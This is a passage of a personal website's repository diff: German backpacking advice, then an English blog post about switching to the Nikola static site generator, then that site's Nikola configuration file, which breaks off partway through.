9Auch wenn Ihr ein Jahr lang weg seid, gibt es Verpflichtungen zu hause, die ins Reisebudget schneiden. Es ist wichtig, sich das vorher auszurechnen, um am Ende nicht von überraschenden Geldlecks zur Rückkehr gezwungen zu werden: Miete, Versicherungen (Kranken-, Auto-, Haftpflicht, etc.), Telefonieverträge, Bausparkram. Gern verpeilt werden Betriebskostennachzahlungen, eventuelle Steuerüberraschungen, Kreditkarten- und Kontoführungsgebühren. Macht Euch einen präzisen Plan der unvermeidlichen Ausgaben, wenn Ihr zum Mietesparen Eure Wohnungen/Zimmer untervermietet, vorher checken, ob Untervermietung klargeht und dem Vermieter bescheidgeben. Rechnet das auch für den Ernstfall durch, dass der Untermieter rumspinnt, früher auszieht, etc.
10
11In unterschiedlichen Gegenden der Welt verbrennt man unterschiedlich schnell Kohle. Ich habe in Japan in einer Woche mehr auf den Kopf gehauen, als in Südamerika in zwei Monaten. Man _kann_ “on a shoe string” weltreisen, die einschlägigen Reiseführer sagen einem auch, mit wieviel Kohle man pro Tag Reise rechnen muss und das geht bei US$25 in Ländern wie Bolivien und Vietnam los, wenn man Dorms in den Hostels nimmt. Zum Vergleich: Für Deutschland werden so US$55 angesagt. Das sind so Richtwerte für Unterkunft, Mampf, Party, lokalen Transport und Sightseeing. Damit kann man schon mal grob die Kosten für’s Jahr abschätzen. Unter 10.000 Euro pro Jahr wegzukommen, ist unrealistisch. (Man kann aber unterwegs was dazuverdienen.)
12
13Dazu kommen natürlich Flüge, Fähren und Landtransporte. Geheimtip zum Kontinente wechseln sind Frachtschiffe, auf denen man günstige Überfahrten bekommt, die dauern aber zuweilen. Ansonsten sind Klassiker die round-the-world-Tickets, mit denen man zeitlich recht flexibel Regionen der Welt andüsen kann wie hier http://www.statravel.de/flug-around-the-world-beliebte-routen.htm oder das deutlich weniger zeitlich, dafür aber umso mehr örtlich flexible und zuweilen billigere Schnäppchensuchen bei skyscanner.com/opodo/expedia, um sich die einzelnen Routenteile zusammenzusuchen. Wenn ich dabei eins aus leidvoller Erfahrung empfehlen darf: Wenns irgendwie geht, reist westwärts, Euer Biorhythmus wirds Euch danken. Ich bin damals mit selber Klicken, um die um die Welt verteilten Freunde zu besuchen, mit 1800 Euro ostwärts rumgekommen. Ein wenig Reserve zu haben, um im Notfall einen Flug zur deutschen Botschaft zu organisieren, lässt entspannender reisen. Neben den großen Hops müsst ihr natürlich noch Rumreisen bis zum Weiterfliegen organisieren. In Südamerika ist z. B. Busfahren eine echt gut organisierte, sichere und saubere Option. Ich bin von Lima bis Sao Paolo auf dem Landweg.
14
15Dem Abfluss von Geld kann man mit Jobben entgegenwirken, was jedoch den Urlaubsspaß deutlich schmälert. Klassiker sind 2 Monate Kiwipflücken in Neuseeland (auf die Saison achten), in den Hostels an Bar, Putzfront oder Kasse auszuhelfen und deutschen oder englischen Sprachunterricht zu geben. Wenn Ihr nicht durch Zufall Kfz-Mechaniker seid oder sonst Fähigkeiten habt, die weltweit nützlich sind, solltet Ihr eher nicht damit rechnen, mehr als Hilfsarbeiten zu machen. Zudem gibts ordentlich Konkurrenz, auch aus Gegenden mit deutlich höherer Schmerztoleranz. Reiseführer zu konsultieren hilft ein bisschen.
16
17Für weltweit Kohle Ziehen holt Euch eine Kreditkarte bei der DKB.
18
19Route
20=====
21
22Wie oben schon angedeutet, ist Umrunden ne recht schlaue Option, achtet drauf, möglichst ähnliche Regionen nicht direkt hintereinander abzugrasen. Wenn man Neuseelands Sounds gesehen hat, sind die Anden weniger spannend, Mexiko Stadt und Buenos Aires direkt hintereinander ermüdet auch. Am besten ist, Temporawechsel einzubauen, sowas wie Kambodscha => Seoul => Bali => Auckland. Wenn ihr schon wisst, welche Regionen Ihr spannend findet, bucht Euch feste Flüge, wenn Ihr mal reinschnuppern und bei Bedarf doch wieder weiterrocken wollt, die roundtheworld-Tickets.
23
24Hier lohnt ins Detail zu gehen erst nach dem Vorfühlen, was Euch so reizt. Visums- und Impfnachweispflicht bei Einreise checken. Auswärtiges Amt hilft. Pass muss ich sicher nicht extra erwähnen.
25
26Reiseführer
27===========
28
29Die gängigen Führer (Lonely Planet, Rough Guide, Let’s Go, Bädicker ;) sprechen ganz unterschiedliche Zielgruppen an. Lest Euch testweise einen für Eure Heimatstadt und einen durch, wo Ihr Euch auskennt, um ein Gefühl für Akkuratesse der Informationen, Lebensgefühl der Autoren und Kompatibilität mit Euren Vorstellungen von Spaß zu bekommen. Ich für meinen Teil benutze die “Geheimtips” im Lonely Planet als Warnliste für Reisen.
30
31Wenn man in eine neue Stadt fährt, ist es praktisch, einen Anlaufpunkt (also ein Hostel) im mittleren Preissegment für eine Nacht zu buchen und von da aus alle anderen zu besuchen und bei Gefallen umzuziehen. Feilschen in Hostels ist meist nicht. Für diese Übersicht ist ein Papier-Reiseführer nützlich. Nach nem Internet-Cafe mit vollem Gepäck und gerädert von der Busfahrt zu suchen, ist unnötig stressig. Im Hostel gibts meist Internet.
32
33Wegwerfnotebook
34===============
35
36Mit einem gebrauchten Netbook für <100 Euro kann man sich viel Ärger und Internetcafegebühren sparen. Die Dinger sind inzwischen leicht und dünn und in fast allen Hostels und Cafes gibts Wifi. Damit muss man nicht drauf warten, bis die gelangweilten Wohlstandstouris auf den trojanerverseuchten Büchsen zuende-ge-facebooked haben, man kann Backups der Fotoapparate machen und schnell mal eben welche auf CD brennen und heimschicken und sorglos Onlinebanking machen.
37
38Ansonsten ist Musikabspielgerät unabdingbar. Busreisen ohne Musik auf den Ohren ist öde. Ans Netzteil denken.
39
40Reisegepäck
41===========
42
43Mehr als zwei Rucksäcke zu 20kg und max 10kg solltet Ihr nicht mitnehmen. Merinowolleklamotten rocken. Kann man im Wechsel auch mal mit zwei Shirts ne Woche klarkommen. In einigen Regionen der Welt verschwinden auch gern mal Dinge aus Fluggepäck, also nicht die unersetzlichen Lieblingssachen mitnehmen, sondern im Notfall vor Ort shoppen. Auch für Partybekleidung vorausschauend denken ;)
44
45Was Ihr sonst so braucht, hängt von der Art der Reise ab: Wenn Ihr nur von Hostel zu Hostel hopst, findet Ihr in den Küchen alles vor. Wenns ab und zu ein Abenteuer-Campingtrip sein soll, brauchts natürlich Outdoorgeschirr, etc. Man kann in den meisten Unterkünften auch Reisegepäck für längere Zeit parken, also die Stadtklamotten inna Plastetüte in den Gepäckraum, während man Wildnis guckt.
46
47Ansonsten bereitet Euch drauf vor, zu latschen wie noch nie, selbst wenn Ihr sonst gern und viel wandert: Beim Traveln ist man praktisch nur am irgendwo Rumlatschen und Dinge Angucken, wenn man nicht gerade seine Wirbelsäule im Bus ruiniert.
48
49Andere Traveller
50================
51
52Übertriebener Pathos ist unter Rucksacktouris weit verbreitet. Ignoriert am besten alles was mit “You _HAVE_ to see XY” oder “If you haven’t seen XY, you’ve missed it all” anfängt. Die 18jährigen Amitouris sind leicht zu beeindrucken und meist haben sie nur ein paar zufällige positive Erlebnisse an einem Ort mitgenommen, die die Erinnerungen trüben, oder sie lügen gar und geben die Infos aus dem Lonely Planet als eigene Storys aus. Die ruhigen, meist etwas älteren Traveler in der Ecke, die Euch abgewogene Pros und Kontras von den Etappen ihrer Reise(n) aufzählen, sind verlässlichere Tippgeber.
53
54Wirklich gute Tipps gibts natürlich bei den Locals, sich einfach mal angenehm verirren und Leute in was anderem als Englisch anquatschen, wirkt Wunder (… wenn man nicht gerade in den Favelas von Rio spaziert. Aber auch da kanns angenehme Überraschungen geben: Townships in Südafrika sind herzlicher als man so denkt.)
55
56Sport
57=====
58
59Wenn mans nicht eh schon tut, ist so eine Reise eine Supergelegenheit, mit dem Schwimmen anzufangen. Kann man praktisch überall machen, der Rücken braucht das echt und braucht kein zusätzliches Gepäck, wie Joggen oder Ballsport.
60
61Frauendinge
62===========
63
64Guckt am besten für alle Ziele die Sektionen “Reisen als Frauen” durch. Nicht überall ist als einzelne Frau rumzureisen entspannt. Im Notfall schnappt Euch den am wenigsten aufdringlich aussehenden Hippietraveler mit dem gleichen nächsten Ziel zum Zusammenreisen. Quotenmännchen in der Reisegruppe spart Nerven.
diff --git a/blog/2015/write-the-flogging-manual.rst b/blog/2015/write-the-flogging-manual.rst
new file mode 100644
index 0000000..278eb9f
--- /dev/null
+++ b/blog/2015/write-the-flogging-manual.rst
@@ -0,0 +1,39 @@
1.. date: 2015/03/15 18:00
2.. title: Write the flogging manual
3
4More than thirteen years ago I set up my personal website. Proudly aligning everything with tables, hand writing HTML with :del:`pico` vi, using "clever" apache server side includes to inherit styles from parent directories and making everything so artsy bordering unreadability. And while in the beginning writing in HTML seemed fun, in the end it became so tedious, that updating the blog came to a grinding halt (we're all not getting younger).
5
6So in order to be able to publish again, I needed something more seasonable, with a responsive theme and simple enough to last another thirteen years. But my site accumulated so much cruft others depended on, replacing the apache alone with something more modern seemed unfeasible. Yet, my rather static content would best be served as static files by a *simple* web server – using an insecure scripting language on top of a complex database setup was completely out of the question. I once went through the pain of setting up and maintaining a wordpress site for my dad, there's no need to repeat that agony for something I'd like to use on a daily basis.
7
8But all the projects out there that would allow me to generate a static site from a simple markup language, like `blogofile <http://blogofile.com>`_ or `pelican <http://blog.getpelican.com>`_ too narrowly focussed on the use case they were born from – to generate a somewhat dynamic blog, with an optional static about page – this was not how I imagined my content to be assembled together. I wanted something richer, teasers for my blog posts on my front page, lists of all projects and songs, without the need to write my own code to do that. So – I made `tomster write some code <http://github.com/tomster/lumberjack>`_ to accomplish that. However, after writing enough code to scratch his own itches, he left the code for good ;)
9
10scratching MY itch
11==================
12
13Enter `nikola <http://getnikola.com>`_. After a good soul implemented `custom post lists <http://getnikola.com/handbook.html#post-list>`_, I finally could describe what I imagined my site should look like in a markup language and not in code (although `restructured text <http://getnikola.com/quickstart.html>`_ is not the simplest markup language). It would support `bootstrap <http://getbootstrap.com/>`_ and `bootswatch <https://bootswatch.com>`_ out of the box, solving all my skinning needs.
14
15I will not go into much details on how to get a nikola site running, there is an `excellent nikola static page primer <http://getnikola.com/creating-a-site-not-a-blog-with-nikola.html>`_ for that. From there I installed the `cosmo bootswatch skin <https://bootswatch.com/cosmo/>`_ for its free and elegant font `Source Sans Pro <http://en.wikipedia.org/wiki/Source_Sans_Pro>`_ and its simple yet modern look. ``nikola bootswatch_theme cosmo`` and I'm done.
16
17After creating some pages and posts and giving them tags, a simple rst statement in my index.rst would be enough to list all those posts and render them via my custom template (although the default template will suffice for he sake of experiments)::
18
19 .. post-list::
20 :all:
21 :tags: project
22 :template: list_projects.tmpl
23 :id: projects
24 :sort: prio
25 :reverse:
26
27Note, that the ``sort`` parameter was only added in version 7.3.4. In the process of making the pages look good it took some tricks to use the full power of bootstrap. One is to add custom classes to whole sections inline in rst::
28
29 .. class:: col-md-6 pull-left
30
31 Software projects
32 =================
33
34The other is to skin the hell out of the default bootswatch theme using my own css ``themes/erdgeist/assets/css/erdgeist.css`` and adding it to the ``bundles`` file inside the theme.
35
36short comings
37=============
38
39However, even nikola is not perfect. It uses a dependency system to figure out what to *rebuild* when content has changed. It will however not know in which order to render pages, so that includes like the blog post previews may be missing when the front page to show them is rendered. A work around is to set the date (in the meta fields) of any page that aggregates posts with the post-list directive to something very ancient, as the site is rendered in reverse timeline order, so the then newer posts will be there when you need them.
diff --git a/conf.py b/conf.py
new file mode 100644
index 0000000..ba2906b
--- /dev/null
+++ b/conf.py
@@ -0,0 +1,955 @@
1# -*- coding: utf-8 -*-
2
3from __future__ import unicode_literals
4import time
5
6# ! Some settings can be different in different languages.
7# ! A comment stating (translatable) is used to denote those.
8# ! There are two ways to specify a translatable setting:
9# ! (a) BLOG_TITLE = "My Blog"
10# ! (b) BLOG_TITLE = {"en": "My Blog", "es": "Mi Blog"}
11# ! Option (a) is used when you don't want that setting translated.
12# ! Option (b) is used for settings that are different in different languages.
13
14
15# Data about this site
16BLOG_AUTHOR = "erdgeist" # (translatable)
17BLOG_TITLE = "erdgeist.org" # (translatable)
18# This is the main URL for your site. It will be used
19# in a prominent link
20SITE_URL = "http://erdgeist.org/"
21# This is the URL where Nikola's output will be deployed.
22# If not set, defaults to SITE_URL
23# BASE_URL = "http://erdgeist.org/"
24BLOG_EMAIL = "erdgeist@erdgeist.org"
25BLOG_DESCRIPTION = "is the personal page of Dirk Engling aka erdgeist" # (translatable)
26
27# Nikola is multilingual!
28#
29# Currently supported languages are:
30#
31# en English
32# ar Arabic
33# bg Bulgarian
34# ca Catalan
35# cs Czech [ALTERNATIVELY cz]
36# da Danish
37# de German
38# el Greek [NOT gr]
39# eo Esperanto
40# es Spanish
41# et Estonian
42# eu Basque
43# fa Persian
44# fi Finnish
45# fr French
46# hi Hindi
47# hr Croatian
48# id Indonesian
49# it Italian
50# ja Japanese [NOT jp]
51# ko Korean
52# nb Norwegian Bokmål
53# nl Dutch
54# pl Polish
55# pt_br Portuguese (Brasil)
56# ru Russian
57# sk Slovak
58# sl Slovene
59# sr Serbian (Cyrillic)
60# sv Swedish
61# tr Turkish [NOT tr_TR]
62# ur Urdu
63# zh_cn Chinese (Simplified)
64#
65# If you want to use Nikola with a non-supported language you have to provide
66# a module containing the necessary translations
67# (cf. the modules at nikola/data/themes/base/messages/).
68# If a specific post is not translated to a language, then the version
69# in the default language will be shown instead.
70
71# What is the default language?
72DEFAULT_LANG = "en"
73
74# What other languages do you have?
75# The format is {"translationcode" : "path/to/translation" }
76# the path will be used as a prefix for the generated pages location
77TRANSLATIONS = {
78 DEFAULT_LANG: "",
79}
80
81# What will translated input files be named like?
82
83# If you have a page something.rst, then something.pl.rst will be considered
84# its Polish translation.
85# (in the above example: path == "something", ext == "rst", lang == "pl")
86# this pattern is also used for metadata:
87# something.meta -> something.pl.meta
88
89TRANSLATIONS_PATTERN = "{path}.{lang}.{ext}"
90
91# Links for the sidebar / navigation bar. (translatable)
92# This is a dict. The keys are languages, and values are tuples.
93#
94# For regular links:
95# ('http://getnikola.com/', 'Nikola Homepage')
96#
97# For submenus:
98# (
99# (
100# ('http://apple.com/', 'Apple'),
101# ('http://orange.com/', 'Orange'),
102# ),
103# 'Fruits'
104# )
105#
106# WARNING: Support for submenus is theme-dependent.
107# Only one level of submenus is supported.
108# WARNING: Some themes, including the default Bootstrap 3 theme,
109# may present issues if the menu is too large.
110# (in bootstrap3, the navbar can grow too large and cover contents.)
111# WARNING: If you link to directories, make sure to follow
112# ``STRIP_INDEXES``. If it’s set to ``True``, end your links
113# with a ``/``, otherwise end them with ``/index.html`` — or
114# else they won’t be highlighted when active.
115
116NAVIGATION_LINKS = {
117 DEFAULT_LANG: (
118 ('/', 'Home', 'icon-home' ),
119 ('/about/', 'About', 'icon-user' ),
120 ('/blog/', 'Blog', 'icon-comment' ),
121 ('/music/', 'Music', 'icon-music' ),
122 ('/poetry/', 'Poetry', 'icon-pencil' ),
123# ('https://github.com/erdgeist', 'erdgeist on github', 'icon-github-circled' ),
124# ('https://twitter.com/erdgeist', 'erdgeist on Twitter', 'icon-twitter'),
125 )
126 }
127
128# Name of the theme to use.
129THEME="erdgeist"
130
131# Below this point, everything is optional
132
133# Post's dates are considered in UTC by default, if you want to use
134# another time zone, please set TIMEZONE to match. Check the available
135# list from Wikipedia:
136# http://en.wikipedia.org/wiki/List_of_tz_database_time_zones
137# (e.g. 'Europe/Zurich')
138# Also, if you want to use a different time zone in some of your posts,
139# you can use the ISO 8601/RFC 3339 format (ex. 2012-03-30T23:00:00+02:00)
140TIMEZONE = "Europe/Berlin"
141
142# If you want to use ISO 8601 (also valid RFC 3339) throughout Nikola
143# (especially in new_post), set this to True.
144# Note that this does not affect DATE_FORMAT.
145# FORCE_ISO8601 = False
146
147# Date format used to display post dates.
148# (str used by datetime.datetime.strftime)
149# DATE_FORMAT = '%Y-%m-%d %H:%M'
150
151# Date format used to display post dates, if local dates are used.
152# (str used by moment.js)
153# JS_DATE_FORMAT = 'YYYY-MM-DD HH:mm'
154
155# Date fanciness.
156#
157# 0 = using DATE_FORMAT and TIMEZONE
158# 1 = using JS_DATE_FORMAT and local user time (via moment.js)
159# 2 = using a string like “2 days ago”
160#
161# Your theme must support it, bootstrap and bootstrap3 already do.
162# DATE_FANCINESS = 0
163
164# While Nikola can select a sensible locale for each language,
165# sometimes explicit control can come handy.
166# In this file we express locales in the string form that
167# python's locales will accept in your OS, by example
168# "en_US.utf8" in Unix-like OS, "English_United States" in Windows.
169# LOCALES = dict mapping language --> explicit locale for the languages
170# in TRANSLATIONS. You can omit one or more keys.
171# LOCALE_FALLBACK = locale to use when an explicit locale is unavailable
172# LOCALE_DEFAULT = locale to use for languages not mentioned in LOCALES; if
173# not set the default Nikola mapping is used.
174
175# POSTS and PAGES contains (wildcard, destination, template) tuples.
176#
177# The wildcard is used to generate a list of reSt source files
178# (whatever/thing.txt).
179#
180# That fragment could have an associated metadata file (whatever/thing.meta),
181# and optionally translated files (example for Spanish, with code "es"):
182# whatever/thing.es.txt and whatever/thing.es.meta
183#
184# This assumes you use the default TRANSLATIONS_PATTERN.
185#
186# From those files, a set of HTML fragment files will be generated:
187# cache/whatever/thing.html (and maybe cache/whatever/thing.html.es)
188#
189# These files are combined with the template to produce rendered
190# pages, which will be placed at
191# output / TRANSLATIONS[lang] / destination / pagename.html
192#
193# where "pagename" is the "slug" specified in the metadata file.
194#
195# The difference between POSTS and PAGES is that POSTS are added
196# to feeds and are considered part of a blog, while PAGES are
197# just independent HTML pages.
198#
199
200POSTS = (
201 ("blog/*.rst", "posts", "post.tmpl"),
202 ("blog/*.md", "posts", "post.tmpl"),
203 ("blog/*.txt", "posts", "post.tmpl"),
204)
205PAGES = (
206 ("stories/*.rst", "", "story.tmpl"),
207 ("stories/*.md", "", "story.tmpl"),
208 ("stories/*.txt", "", "story.tmpl"),
209)
210
211# One or more folders containing files to be copied as-is into the output.
212# The format is a dictionary of {source: relative destination}.
213# Default is:
214# FILES_FOLDERS = {'files': ''}
215# Which means copy 'files' into 'output'
216
217# One or more folders containing listings to be processed and stored into
218# the output. The format is a dictionary of {source: relative destination}.
219# Default is:
220# LISTINGS_FOLDERS = {'listings': 'listings'}
221# Which means process listings from 'listings' into 'output/listings'
222
223# A mapping of languages to file-extensions that represent that language.
224# Feel free to add or delete extensions to any list, but don't add any new
225# compilers unless you write the interface for it yourself.
226#
227# 'rest' is reStructuredText
228# 'markdown' is MarkDown
229# 'html' assumes the file is HTML and just copies it
230COMPILERS = {
231 "rest": ('.rst', '.txt'),
232 "markdown": ('.md', '.mdown', '.markdown'),
233 "textile": ('.textile',),
234 "txt2tags": ('.t2t',),
235 "bbcode": ('.bb',),
236 "wiki": ('.wiki',),
237 "ipynb": ('.ipynb',),
238 "html": ('.html', '.htm'),
239 # PHP files are rendered the usual way (i.e. with the full templates).
240 # The resulting files have .php extensions, making it possible to run
241 # them without reconfiguring your server to recognize them.
242 "php": ('.php',),
243 # Pandoc detects the input from the source filename
244 # but is disabled by default as it would conflict
245 # with many of the others.
246 # "pandoc": ('.rst', '.md', '.txt'),
247}
248
249# Create by default posts in one file format?
250# Set to False for two-file posts, with separate metadata.
251# ONE_FILE_POSTS = True
252
253# If this is set to True, the DEFAULT_LANG version will be displayed for
254# untranslated posts.
255# If this is set to False, then posts that are not translated to a language
256# LANG will not be visible at all in the pages in that language.
257# Formerly known as HIDE_UNTRANSLATED_POSTS (inverse)
258# SHOW_UNTRANSLATED_POSTS = True
259
260# Nikola supports logo display. If you have one, you can put the URL here.
261# Final output is <img src="LOGO_URL" id="logo" alt="BLOG_TITLE">.
262# The URL may be relative to the site root.
263# LOGO_URL = ''
264
265# If you want to hide the title of your website (for example, if your logo
266# already contains the text), set this to False.
267SHOW_BLOG_TITLE = False
268
269# Writes tag cloud data in form of tag_cloud_data.json.
270# Warning: this option will change its default value to False in v8!
271WRITE_TAG_CLOUD = False
272
273# Paths for different autogenerated bits. These are combined with the
274# translation paths.
275
276# Final locations are:
277# output / TRANSLATION[lang] / TAG_PATH / index.html (list of tags)
278# output / TRANSLATION[lang] / TAG_PATH / tag.html (list of posts for a tag)
279# output / TRANSLATION[lang] / TAG_PATH / tag.xml (RSS feed for a tag)
280# TAG_PATH = "categories"
281
282# If TAG_PAGES_ARE_INDEXES is set to True, each tag's page will contain
283# the posts themselves. If set to False, it will be just a list of links.
284# TAG_PAGES_ARE_INDEXES = False
285
286# Set descriptions for tag pages to make them more interesting. The
287# default is no description. The value is used in the meta description
288# and displayed underneath the tag list or index page’s title.
289# TAG_PAGES_DESCRIPTIONS = {
290# DEFAULT_LANG: {
291# "blogging": "Meta-blog posts about blogging about blogging.",
292# "open source": "My contributions to my many, varied, ever-changing, and eternal libre software projects."
293# },
294#}
295
296# Only include tags on the tag list/overview page if there are at least
297# TAGLIST_MINIMUM_POSTS number of posts or more with every tag. Every tag
298# page is still generated, linked from posts, and included in the sitemap.
299# However, more obscure tags can be hidden from the tag index page.
300# TAGLIST_MINIMUM_POSTS = 1
301
302# Final locations are:
303# output / TRANSLATION[lang] / CATEGORY_PATH / index.html (list of categories)
304# output / TRANSLATION[lang] / CATEGORY_PATH / CATEGORY_PREFIX category.html (list of posts for a category)
305# output / TRANSLATION[lang] / CATEGORY_PATH / CATEGORY_PREFIX category.xml (RSS feed for a category)
306# CATEGORY_PATH = "categories"
307# CATEGORY_PREFIX = "cat_"
308
309# If CATEGORY_PAGES_ARE_INDEXES is set to True, each category's page will contain
310# the posts themselves. If set to False, it will be just a list of links.
311# CATEGORY_PAGES_ARE_INDEXES = False
312
313# Set descriptions for category pages to make them more interesting. The
314# default is no description. The value is used in the meta description
315# and displayed underneath the category list or index page’s title.
316# CATEGORY_PAGES_DESCRIPTIONS = {
317# DEFAULT_LANG: {
318# "blogging": "Meta-blog posts about blogging about blogging.",
319# "open source": "My contributions to my many, varied, ever-changing, and eternal libre software projects."
320# },
321#}
322
323# Final location for the main blog page and sibling paginated pages is
324# output / TRANSLATION[lang] / INDEX_PATH / index-*.html
325INDEX_PATH = "blog"
326
327# Create per-month archives instead of per-year
328# CREATE_MONTHLY_ARCHIVE = False
329# Create one large archive instead of per-year
330# CREATE_SINGLE_ARCHIVE = False
331# Create year, month, and day archives each with a (long) list of posts
332# (overrides both CREATE_MONTHLY_ARCHIVE and CREATE_SINGLE_ARCHIVE)
333# CREATE_FULL_ARCHIVES = False
334# If monthly archives or full archives are created, adds also one archive per day
335# CREATE_DAILY_ARCHIVE = False
336# Final locations for the archives are:
337# output / TRANSLATION[lang] / ARCHIVE_PATH / ARCHIVE_FILENAME
338# output / TRANSLATION[lang] / ARCHIVE_PATH / YEAR / index.html
339# output / TRANSLATION[lang] / ARCHIVE_PATH / YEAR / MONTH / index.html
340# output / TRANSLATION[lang] / ARCHIVE_PATH / YEAR / MONTH / DAY / index.html
341# ARCHIVE_PATH = ""
342# ARCHIVE_FILENAME = "archive.html"
343
344# If ARCHIVES_ARE_INDEXES is set to True, each archive page which contains a list
345# of posts will contain the posts themselves. If set to False, it will be just a
346# list of links.
347# ARCHIVES_ARE_INDEXES = False
348
349# URLs to other posts/pages can take 3 forms:
350# rel_path: a relative URL to the current page/post (default)
351# full_path: a URL with the full path from the root
352# absolute: a complete URL (that includes the SITE_URL)
353# URL_TYPE = 'rel_path'
354
355# Final location for the blog main RSS feed is:
356# output / TRANSLATION[lang] / RSS_PATH / rss.xml
357RSS_PATH = "blog/"
358
359# Number of posts in RSS feeds
360# FEED_LENGTH = 10
361
362# Slug the Tag URL easier for users to type, special characters are
363# often removed or replaced as well.
364# SLUG_TAG_PATH = True
365
366# A list of redirection tuples, [("foo/from.html", "/bar/to.html")].
367#
368# A HTML file will be created in output/foo/from.html that redirects
369# to the "/bar/to.html" URL. notice that the "from" side MUST be a
370# relative URL.
371#
372# If you don't need any of these, just set to []
373REDIRECTIONS = []
374
375# Presets of commands to execute to deploy. Can be anything, for
376# example, you may use rsync:
377# "rsync -rav --delete output/ joe@my.site:/srv/www/site"
378# And then do a backup, or run `nikola ping` from the `ping`
379# plugin (`nikola plugin -i ping`). Or run `nikola check -l`.
380# You may also want to use github_deploy (see below).
381# You can define multiple presets and specify them as arguments
382# to `nikola deploy`. If no arguments are specified, a preset
383# named `default` will be executed. You can use as many presets
384# in a `nikola deploy` command as you like.
385DEPLOY_COMMANDS = {
386 'default': [
387 "rsync -av --delete output/ erdgeist.org:erdgeist.org/new/",
388 ]
389}
390
391# For user.github.io OR organization.github.io pages, the DEPLOY branch
392# MUST be 'master', and 'gh-pages' for other repositories.
393# GITHUB_SOURCE_BRANCH = 'master'
394# GITHUB_DEPLOY_BRANCH = 'gh-pages'
395
396# The name of the remote where you wish to push to, using github_deploy.
397# GITHUB_REMOTE_NAME = 'origin'
398
399# Where the output site should be located
400# If you don't use an absolute path, it will be considered as relative
401# to the location of conf.py
402# OUTPUT_FOLDER = 'output'
403
404# where the "cache" of partial generated content should be located
405# default: 'cache'
406# CACHE_FOLDER = 'cache'
407
408# Filters to apply to the output.
409# A directory where the keys are either: a file extensions, or
410# a tuple of file extensions.
411#
412# And the value is a list of commands to be applied in order.
413#
414# Each command must be either:
415#
416# A string containing a '%s' which will
417# be replaced with a filename. The command *must* produce output
418# in place.
419#
420# Or:
421#
422# A python callable, which will be called with the filename as
423# argument.
424#
425# By default, only .php files uses filters to inject PHP into
426# Nikola’s templates. All other filters must be enabled through FILTERS.
427#
428# Many filters are shipped with Nikola. A list is available in the manual:
429# <http://getnikola.com/handbook.html#post-processing-filters>
430#
431# from nikola import filters
432# FILTERS = {
433# ".html": [filters.typogrify],
434# ".js": [filters.closure_compiler],
435# ".jpg": ["jpegoptim --strip-all -m75 -v %s"],
436# }
437
438# Expert setting! Create a gzipped copy of each generated file. Cheap server-
439# side optimization for very high traffic sites or low memory servers.
440# GZIP_FILES = False
441# File extensions that will be compressed
442# GZIP_EXTENSIONS = ('.txt', '.htm', '.html', '.css', '.js', '.json', '.xml')
443# Use an external gzip command? None means no.
444# Example: GZIP_COMMAND = "pigz -k {filename}"
445# GZIP_COMMAND = None
446# Make sure the server does not return a "Accept-Ranges: bytes" header for
447# files compressed by this option! OR make sure that a ranged request does not
448# return partial content of another representation for these resources. Do not
449# use this feature if you do not understand what this means.
450
451# Compiler to process LESS files.
452# LESS_COMPILER = 'lessc'
453
454# A list of options to pass to the LESS compiler.
455# Final command is: LESS_COMPILER LESS_OPTIONS file.less
456# LESS_OPTIONS = []
457
458# Compiler to process Sass files.
459# SASS_COMPILER = 'sass'
460
461# A list of options to pass to the Sass compiler.
462# Final command is: SASS_COMPILER SASS_OPTIONS file.s(a|c)ss
463# SASS_OPTIONS = []
464
465# #############################################################################
466# Image Gallery Options
467# #############################################################################
468
469# One or more folders containing galleries. The format is a dictionary of
470# {"source": "relative_destination"}, where galleries are looked for in
471# "source/" and the results will be located in
472# "OUTPUT_PATH/relative_destination/gallery_name"
473# Default is:
474# GALLERY_FOLDERS = {"gallery": "gallery", "images" : "pics" }
475# More gallery options:
476THUMBNAIL_SIZE = 180
477MAX_IMAGE_SIZE = 480
478# USE_FILENAME_AS_TITLE = True
479# EXTRA_IMAGE_EXTENSIONS = []
480#
481# If set to False, it will sort by filename instead. Defaults to True
482# GALLERY_SORT_BY_DATE = True
483#
484# Folders containing images to be used in normal posts or
485# pages. Images will be scaled down according to THUMBNAIL_SIZE and
486# MAX_IMAGE_SIZE options, but will have to be referenced manually to
487# be visible on the site. The format is a dictionary of {source:
488# relative destination}.
489#
490IMAGE_FOLDERS = {'images': 'about'}
491
492# #############################################################################
493# HTML fragments and diverse things that are used by the templates
494# #############################################################################
495
496# Data about post-per-page indexes.
497# INDEXES_PAGES defaults to ' old posts, page %d' or ' page %d' (translated),
498# depending on the value of INDEXES_PAGES_MAIN.
499#
500# (translatable) If the following is empty, defaults to BLOG_TITLE:
501# INDEXES_TITLE = ""
502#
503# (translatable) If the following is empty, defaults to ' [old posts,] page %d' (see above):
504# INDEXES_PAGES = ""
505#
506# If the following is True, INDEXES_PAGES is also displayed on the main (the
507# newest) index page (index.html):
508# INDEXES_PAGES_MAIN = False
509#
510# If the following is True, index-1.html has the oldest posts, index-2.html the
511# second-oldest posts, etc., and index.html has the newest posts. This ensures
512# that all posts on index-x.html will forever stay on that page, now matter how
513# many new posts are added.
514# If False, index-1.html has the second-newest posts, index-2.html the third-newest,
515# and index-n.html the oldest posts. When this is active, old posts can be moved
516# to other index pages when new posts are added.
517# INDEXES_STATIC = True
518#
519# (translatable) If PRETTY_URLS is set to True, this setting will be used to create
520# more pretty URLs for index pages, such as page/2/index.html instead of index-2.html.
521# Valid values for this settings are:
522# * False,
523# * a list or tuple, specifying the path to be generated,
524# * a dictionary mapping languages to lists or tuples.
525# Every list or tuple must consist of strings which are used to combine the path;
526# for example:
527# ['page', '{number}', '{index_file}']
528# The replacements
529# {number} --> (logical) page number;
530# {old_number} --> the page number inserted into index-n.html before (zero for
531# the main page);
532# {index_file} --> value of option INDEX_FILE
533# are made.
534# Note that in case INDEXES_PAGES_MAIN is set to True, a redirection will be created
535# for the full URL with the page number of the main page to the normal (shorter) main
536# page URL.
537# INDEXES_PRETTY_PAGE_URL = False
538
539# Color scheme to be used for code blocks. If your theme provides
540# "assets/css/code.css" this is ignored.
541# Can be any of autumn borland bw colorful default emacs friendly fruity manni
542# monokai murphy native pastie perldoc rrt tango trac vim vs
543# CODE_COLOR_SCHEME = 'default'
544
545# If you use 'site-reveal' theme you can select several subthemes
546# THEME_REVEAL_CONFIG_SUBTHEME = 'sky'
547# You can also use: beige/serif/simple/night/default
548
549# Again, if you use 'site-reveal' theme you can select several transitions
550# between the slides
551# THEME_REVEAL_CONFIG_TRANSITION = 'cube'
552# You can also use: page/concave/linear/none/default
553
554# FAVICONS contains (name, file, size) tuples.
555# Used for create favicon link like this:
556# <link rel="name" href="file" sizes="size"/>
557# FAVICONS = {
